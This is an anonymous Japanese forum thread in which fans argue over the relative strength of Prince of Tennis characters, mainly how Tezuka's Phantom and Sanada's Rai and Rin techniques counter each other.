忍足ｖｓ桃城、不二ｖｓ白石、越前ｖｓ跡部などいつもああいう決着の付け方にする。
テニスと違ってテニヌはKO勝ちがあるからな。

「手塚の技はすべて真田に攻略された」一方で「真田の技もすべて手塚に攻略された」わけで。
無論勝った真田が格上だが、１ランク差つけるような試合ではなかったと考えます。

102:名無しさんの次レスにご期待下さい
07/08/10 16:05:38 CvUvPRQ00
>>98
よくわからんな
雷はファントムでアウトにされてるのもあわせれば最低限試合を終わせるのに必要な24回をゆうに超える32回は使えてる
雷を打たせるだけ打たせてたら真田の足が弱る前に真田の勝ちで試合は終わる
必死で雷を必死で阻止しなきゃいけないの手塚の方だろ？
雷を阻止しようと手塚がファントムを使い出せば林で手塚が弱るのを待ってればいいし
ファントムをやめた瞬間雷でポイントを奪えばいい
雷を破るにはファントムしかないのにそのファントムは林の前に無力
完全に手塚不利の手塚だけが消耗してく状況だろ？

103:名無しさんの次レスにご期待下さい
07/08/10 16:07:07 6MkOs0ma0
>>101
結局その後立ち上がってるし
手塚は寝転がってたけど

104:名無しさんの次レスにご期待下さい
07/08/10 16:08:25 CvUvPRQ00
>>100
雷＋林は常に両方を使ってるわけじゃなくて
手塚の打球に合わせてどちらかを使ってるだけなんだから
当然消耗の激しい雷の使用回数が減って消耗は少なくなるでしょ

105:名無しさんの次レスにご期待下さい
07/08/10 16:09:35 e/4c/lGg0
>>102
>雷を破るにはファントムしかないのにそのファントムは林の前に無力
>完全に手塚不利の手塚だけが消耗してく状況だろ？

無力じゃないよ、林で確実にポイント取れるんならともかく、なんかへぼラリーに持ち込まれちゃうじゃん。
林＋雷はファントムをぶち抜く技ではなく、「アウトになるのを阻止する」という技。
林＋雷で返しても、また手塚からファントム回転が返ってくる。
ファントム使われ始めた時点で、少なくとも「雷を使い続ける長期戦」には持ち込まれてしまうと思うんだが。

106:名無しさんの次レスにご期待下さい
07/08/10 16:09:52 CvUvPRQ00
>>104追記
一番最初は雷と林を同時に使ってたけどそれ以降はそれらしい描写がないため

107:名無しさんの次レスにご期待下さい
07/08/10 16:10:07 EjU7v3dD0
作者の意図なんて作者自身にしかわからないよ・・・

108:名無しさんの次レスにご期待下さい
07/08/10 16:17:43 77chE1DD0
>>105
>ファントム使われ始めた時点で、少なくとも「雷を使い続ける長期戦」には持ち込まれてしまうと思うんだが。
それ逆でしょ
「いつあの雷が来るかわからない手塚はファントムを打ち続けなくてはならない」
って不二が言ってたじゃん
しかも「ファントムを打ち続けなくてはならない」は傍点付きで

109:名無しさんの次レスにご期待下さい
07/08/10 16:17:53 e/4c/lGg0
>>106
あれ？2回目以降って林しか使ってないんだっけ？＞ファントム対策
最初に雷入れてたから、継続して使ってるもんだと思ってたが、林だけでファントム潰せるならかなり真田有利だな・・・

110:名無しさんの次レスにご期待下さい
07/08/10 16:18:09 CvUvPRQ00
>>105
林と雷でファントムをぶち抜くなんて言ってないぞ
ファントムを林で流しつつファントムをやめたら雷でポイントを奪えばいい
これに関しては作中で語られてることだから否定されても困るんだよね

111:名無しさんの次レスにご期待下さい
07/08/10 16:21:11 CvUvPRQ00
>>109
その見解には俺の推測が混じってるからあまり自身を持っては言えんが
作中の発言からも真田には大して負担が掛かってないことは間違いない
その発言をもとに「なら途中から雷はやめたのかな」と考えた

112:名無しさんの次レスにご期待下さい
07/08/10 16:21:24 e/4c/lGg0
＞「いつあの雷が来るかわからない手塚はファントムを打ち続けなくてはならない」

そういやそうだった。
でも、真田は「このボールはファントム」「このボールは違う」って判断つかない以上は、雷使えないんじゃないの？
当てずっぽうで雷使って「しまった、ファントムだったか！」なんてやらないと思うし、林打ち続けるしかない。
手塚は適当にファントム解除して普通に心理戦に持ち込めばよかったような気もしてきた。

113:名無しさんの次レスにご期待下さい
07/08/10 16:23:37 fzheN4wD0
>>108
不二が言ったことなんて当てにならんよ。
ゾーンやファントムの技の理屈を考えれば、
「いつあの雷が来るかわからない手塚はファントムを打ち続けなくてはならない」
なんて論外。
ゾーンやファントムは相手がどんな球打ってくるか経験で分かるからこそ成立する技だぞ。

>>110
それは真田が打球にファントムの回転がかかってるかかかってないか見破れなければ出来ない。

114:名無しさんの次レスにご期待下さい
07/08/10 16:23:53 6MkOs0ma0
>>112
俺の記憶違いでなければ
真田は雷＋林にしてから手塚をマッチポイントまで追い込んでるわけで

115:名無しさんの次レスにご期待下さい
07/08/10 16:25:01 e/4c/lGg0
雷は瞬間移動＋ジグザグショットのあわせ技で、それぞれ別の技ってわけじゃなく
瞬間移動のエネルギーを使ってジグザグ打つって風に思ってたんだが、別技なんかな？
ファントムラリーの際に最初に雷を使ったのは必然性があったと思うんだけど。

116:名無しさんの次レスにご期待下さい
07/08/10 16:28:57 77chE1DD0
>>112
雷は後出し可能だけどファントムは後出しはできないから
手塚はずーっとファントム打たなきゃいけないってことで
真田は手塚を消耗させるのが狙いだから
別に雷を使う必要はないってことでしょ

117:名無しさんの次レスにご期待下さい
07/08/10 16:29:30 fo5s7GBFO
>>113
お前の言ってることめちくちゃだな

118:名無しさんの次レスにご期待下さい
07/08/10 16:29:46 nw8se3AcO
>>113
俺の記憶が正しければ
ゾーンの説明で相手の打球を予測している。とは言われていないはずだ

119:名無しさんの次レスにご期待下さい
07/08/10 16:32:16 e/4c/lGg0
>>116
＞雷は後出し可能だけどファントムは後出しはできないから

不二の解説によるとそのように受け取れるんだけど、これお互い様に思えるんだよな
「ファントムがある」って頭に入った真田は当てずっぽう以外に雷を打つタイミングがないと思うんだけど。
「真っ向勝負を捨てた」以降の真田が雷でポイント取った描写あったっけ？

120:名無しさんの次レスにご期待下さい
07/08/10 16:34:01 SkPye/LZO
>>113
否定されてるならともかく作中のキャラクターの発言を無視して俺様ごたく並べるなよ
たしけの意図がどうだのとか手塚派には自分に都合のいい解釈する輩が多いな

こっからはただの推測だがファントムってあの手塚の周りで巻き起こってる渦でわかるんじゅねえの？
まあこれはモブキャラのリアクションから判断しただけだから全く信用ならんけど

121:名無しさんの次レスにご期待下さい
07/08/10 16:34:39 CvUvPRQ00
そういえば真田がスマッシュエースを決めてるシーンがあったけどあれは
１．ファントムが弱ってアウトにならないことを見切った上で打った
２．林はスマッシュでも使えちゃう
どっちなんだろう？

122:名無しさんの次レスにご期待下さい
07/08/10 16:34:52 e/4c/lGg0
>>116補足、だから結局真田は「林を使うしかない」「雷は打てない」
となると、手塚もこっそりファントム解除したっていいわけだよな。
そこで>>112の心理戦云々って話を思ったわけ。

123:名無しさんの次レスにご期待下さい
07/08/10 16:37:53 nw8se3AcO
林で回転を打ち消されてるってことは
ファントム回転が掛かってるから見切られてるってことじゃないの？

124:名無しさんの次レスにご期待下さい
07/08/10 16:38:25 e/4c/lGg0
>>121
林はどう見ても回転かける技（というか相手の回転を和らげる技？）として描かれてるから、
２はなさそうなんだけど、かといって１もどうなんだろうな

125:名無しさんの次レスにご期待下さい
07/08/10 16:41:12 77chE1DD0
>>119
ファントムって相手の打球をアウトにする技でしょ
後出し不可能って自分が先に回転を掛けておかなければいけないって意味で
単に技の性質のことだよ

雷は(使うとすれば)ファントム打ち続けて手塚がへばったときに1回使えばいい
対するファントムはずーっと打たないといけない
100％打ってこないという保証はないから
これは単に技の性質の問題だと思うけど
それが不二の発言の内容じゃないの

126:名無しさんの次レスにご期待下さい
07/08/10 16:42:45 nw8se3AcO
>>123
×回転が掛かってるから
○回転が掛かってるかは

何はともあれ実際に真田がポイントをとってるってことは
ファントムが弱るかファントムを止めるか林の打球すら手塚が打ち返せないか
どれかが起きたってことになるよね

127:名無しさんの次レスにご期待下さい
07/08/10 16:45:18 e/4c/lGg0
>>126
あのあたりの真田がポイント取り返し始めたとこって描写が端折られ気味だからわからんけど、
ファントムを止めるってことはスミレちゃんや不二の大騒ぎから言って
なさそう（やめるんならそういう描写がある）な気がするんで、
ファントムが弱ってるか、林スマッシュみたいな技があるかどっちかだよな

128:名無しさんの次レスにご期待下さい
07/08/10 16:49:36 fzheN4wD0
>>120
ゾーンの技の性質を考えれば不二の発言がおかしいと思うのは普通だろ。
それに何で不二の発言いちいち信用しなきゃいけないんだよ？
何がくるか分からないだの、時間稼ぎしてるだのなんて単に不二の主観の根拠０の発言じゃねえか。

129:名無しさんの次レスにご期待下さい
07/08/10 16:53:39 SkPye/LZO
>>128
>>118を見ろよ
ゾーンの技の性質自体お前の勝手な想像なのになんでそんな自信があるんだw

130:名無しさんの次レスにご期待下さい
07/08/10 16:57:53 e/4c/lGg0
手塚ゾーンは
「相手がどこにどんな球種を打ってくるかをあらかじめ読み切った上で、ちょうど自分のところ（手塚ゾーン）に戻ってくるような回転をかけておく」
技だろ。初出時の解説によれば。

131:名無しさんの次レスにご期待下さい
07/08/10 17:00:11 e/4c/lGg0
でもまあ途中から「単なる引力」としか思えない技になったけど、
ファントムがゾーンの応用版である以上は、相手が打ってくる球は予測できてないと意味ない
（適当に回転かけたら適当なところに飛んでいく）

ファントムはガット破られちゃうことに対する対策で外に出してるだけだよね？

132:名無しさんの次レスにご期待下さい
07/08/10 17:00:50 6MkOs0ma0
陰で読めないんじゃね、それだと
っつうかどう見ても百錬より才気の技だよなあゾーン

133:名無しさんの次レスにご期待下さい
07/08/10 17:37:53 gz8c9ARwO
幸Ｐはなんで、雷の使いすぎは脚への負担が大きいから
他と併用して柔軟に戦えって最初に真田に教えてやらなかったのか
疑問だったんだけど、

最初にアドバイス→「フザけるな！」→真田大ピンチ
→もう後に引けない

よりも

真田大ピンチ→アドバイス→(フザけるな―…でも幸村の言う通りかも)→ｳﾏｰ

のほうがスムーズに真田を納得させられると思ったのかもね。
みんなの言うとおり真田の変なこだわりって割と致命的な弱点だよな

134:名無しさんの次レスにご期待下さい
07/08/10 17:38:43 RI9DTnv30
手塚ゾーンと手塚ファントムは別物だろ

手塚ゾーン　→　自分のところの戻ってくるように回転をかける（予測が必要）
手塚ファントム　→　センターラインに打たれた場合でもアウトになるように回転をかける（これ予測は必要なくね？）

まぁ、手塚はゾーンで雷を引き寄せてたから、どのコースに打つかは分かるんじゃね？（雷でくるか林でくるかが分かるかは知らんが）

なんか手塚ｖｓ真田の試合の流れって、越前ｖｓ跡部に似てるよな･･･

雷、氷の世界　→　確実にポイントを取られるので防ぐためには　ゾーン、ファントムをするしかない
ゾーン、ファントム　→　林などで打ち返すことは可能だが、雷、氷の世界を使っても無意味になる

135:名無しさんの次レスにご期待下さい
07/08/10 17:43:11 e/4c/lGg0
>>134
ファントムについてはたしかにそのとおりっぽい

136:名無しさんの次レスにご期待下さい
07/08/10 17:46:07 6MkOs0ma0
>>134
てか隅狙って打てば50%の確率で入ると思うんだがなファントム

137:名無しさんの次レスにご期待下さい
07/08/10 18:12:45 RI9DTnv30
>>136
なるほど
その５０％を無くすために予測が必要なわけか

てか、隅に打たれるの分かってるなら
ゾーンで引き寄せるよりファントムでアウトにする方が楽なのに
今までそうしなかった手塚ｗ

138:名無しさんの次レスにご期待下さい
07/08/10 18:20:58 CvUvPRQ00
それらのことを考慮してゾーン、ファントムの原理を考えると
ゾーンというのは相手が右側へ打ったら左側へ曲がり左側へ打ったら右側へ曲がるような魔法のような回転が掛かった打球
ファントムはその逆で回転数が多い
って感じなのかも知れん

139:名無しさんの次レスにご期待下さい
07/08/10 18:59:10 9gvxCNBy0
真田の真っ向勝負は力を誇示するためのもので
戦術能力云々の問題ではない。

全国区の選手でさえ格下扱いしてきた。
「真っ向勝負」という言葉をつかってるけど、要は相手を強敵と認めてない
侮った戦い方が、真田の言う真っ向勝負。

140:名無しさんの次レスにご期待下さい
07/08/10 19:05:22 wMvVVa8C0
基本的に強さ議論スレではキャラの性格なんかは置いといて
勝つために最善の戦い方をすると想定して議論するものだろう

橘はチャンスがあれば容赦なくあばれ球を使うし
不二は馬鹿みたくヘカトンだけ乱発はせず他の技も使うし
跡部は氷が通用しないと判断したらゲーム感覚の持久戦にこだわって
アホみたく４ゲーム取られたりせず即攻撃型にチェンジするし
甲斐は最初からレフティでやるし
忍足は最初から心を閉ざす

真田も意味不明な真っ向勝負になんかこだわらず
ファントムには即林で対応すると想定するのが当然だろう

141:名無しさんの次レスにご期待下さい
07/08/10 19:07:43 tTaJI9bJ0
>>139
で、それが強さ議論に何か影響があるの？

142:名無しさんの次レスにご期待下さい
07/08/10 19:08:30 tTaJI9bJ0
リロってなかったわ
すまん

143:名無しさんの次レスにご期待下さい
07/08/10 19:12:59 4K3VFtSAO
>>140
身体能力以外に性格や頭の良さなども含めてそいつの強さだと思うが。
樺地とかいくら身体能力高くても、頭わりーからそんな強くないし。実際に試合で勝ててないし

144:名無しさんの次レスにご期待下さい
07/08/10 19:18:16 9gvxCNBy0
真田は殆ど無敗の男
真っ向勝負に拘るのは、ライバルが居なくて余裕があるからこそ出来た芸当。

切羽詰れば、、無我ってトップスピンロブ打ったりする。ことから
ホームラン級に頭が悪いわけではないことが分かる。

まだ変なプライドが残ってるようだが連敗したりしたら、最初から本気で戦うはず。
今のところまだ余裕の戦い方をしてるようだが

145:名無しさんの次レスにご期待下さい
07/08/10 19:18:58 nw8se3AcO
>>141
強さ議論と関係のない話を持ち出すやつはいくらでもいる
いちいち相手してたらきりないよ

146:名無しさんの次レスにご期待下さい
07/08/10 19:39:18 CvUvPRQ00
>>140
> 甲斐は最初からレフティでやるし
これだと菊丸負けそうだな
一人でダブルスは左甲斐と互角ぐらいなのにスタミナ消費がでかいから不利だ
右手甲斐から４ゲームプレゼントしてもらわないと苦しいな

147:名無しさんの次レスにご期待下さい
07/08/10 19:54:44 wMvVVa8C0
>>143
樺地の強さに頭の良し悪しなんて関係ないだろ
自分以下の身体能力でパクれる技の使い手ならだいたい勝てる
パクれない技の使い手なら勝てない
自分より身体能力が上の相手なら技関係なしに勝てない

それだけのキャラだろ樺地は
だいたい樺地が頭悪いなんて言われてないし

148:名無しさんの次レスにご期待下さい
07/08/10 20:10:59 4K3VFtSAO
樺地が頭良かったら、寿司屋相手に引き分けになんてなってないだろ

149:名無しさんの次レスにご期待下さい
07/08/10 20:12:58 RI9DTnv30
最善の戦い方って言ってもこのスレで考えられた最善の戦い方ではダメ
そのキャラができる範囲での最善の戦い方だな

才気、データテニス、読心などの意味が無くなっちまう

真田については誰を相手にしても全部の技使えるってことでいいんじゃね？
たいていのやつは雷使ってれば勝てる
あの技はこの組み合わせで返せるという判断が真田にできるかどうかは別問題

150:名無しさんの次レスにご期待下さい
07/08/10 20:15:47 wMvVVa8C0
波動球には波動球で応じなかったら普通に寿司に波動球乱発されて負けるだけだろ
それまで一方的に2ゲーム奪われてるんだし。
手塚や不二クラスなら寿司に波動球打たせないような試合運びも可能なんだろうが
樺地にはそれほどの技量はないんだろ

馬鹿だから波動球合戦に応じたのではなく
樺地にはそれしか選択肢がなかったんだろ

151:名無しさんの次レスにご期待下さい
07/08/10 20:19:37 6MkOs0ma0
樺地に関しては作中でやってること以上のことを想定して
語ろうとするから駄目なんじゃないか
真田はあくまで作中で披露してる範囲だろう、全部

152:名無しさんの次レスにご期待下さい
07/08/10 20:33:23 RI9DTnv30
樺地は

作中でやってること以上　→　天衣や雷などもコピーでき、今までコピーした技も状況によって使い分けできる
作中の中での限界　→　百錬になって、晴れなら百錬手塚すらも圧倒できる
作中の中での底辺　→　対戦中の相手の技しか使えない。応用が利かない。使えない技もある。成長もしていない

153:名無しさんの次レスにご期待下さい
07/08/10 20:47:39 e/4c/lGg0
跡部が樺地を知り尽くした上で正しく育成しているかどうかによるな

154:名無しさんの次レスにご期待下さい
07/08/10 22:17:05 2EVaSabP0
手塚ゾーンやらファントムは、ブーメランスネイクやスネイクの
ようにスゴイ回転を掛ける技に対しても有効ですか？

155:名無しさんの次レスにご期待下さい
07/08/10 22:25:45 41/3wm0dO
手塚、物真似テニスの限界を指摘(越前父みたく、模倣でしかないとか)
→樺地覚醒、｢ファハハ馬鹿が！手塚め樺地の真の力を解放しやがったー！！｣
→手塚圧勝、1年｢すごいやさすが部長ー！！｣

こんなの期待してた、るろうにの比古vs不二みたいな感じで。

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